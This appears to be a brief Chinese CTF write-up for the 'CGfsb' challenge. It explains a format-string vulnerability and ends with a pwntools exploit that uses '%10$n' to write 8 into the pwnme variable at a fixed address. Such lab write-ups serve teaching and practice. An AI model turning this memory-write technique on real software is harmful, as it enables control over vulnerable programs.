1.先看保护机制
2.看一下源代码有什么漏洞
这里很明显是格式化字符串
看到这里发现程序需要pwnme==8才可以拿到flag
3.看一下格式化字符串溢出长度
输入数据后gdb调试数一下
offset=10
4.看一下pwnme的地址
那思路就是利用格式化字符串的%n写个8到pwnme中就好了
5.exp
from pwn import *
#a=process('./CGfsb')
#a=remote("111.198.29.45","38975")
a.recvuntil("please tell me your name:")
a.send("aaa") #这个地方随意
a.recvuntil("leave your message please:")
pwnme=p32(0x0804A068) #pwnme 的地址
a.send(pwnme+"aaaa%10$n") #将打印初的字符数写入偏移 10 处 esp 指向的地址
a.interactive()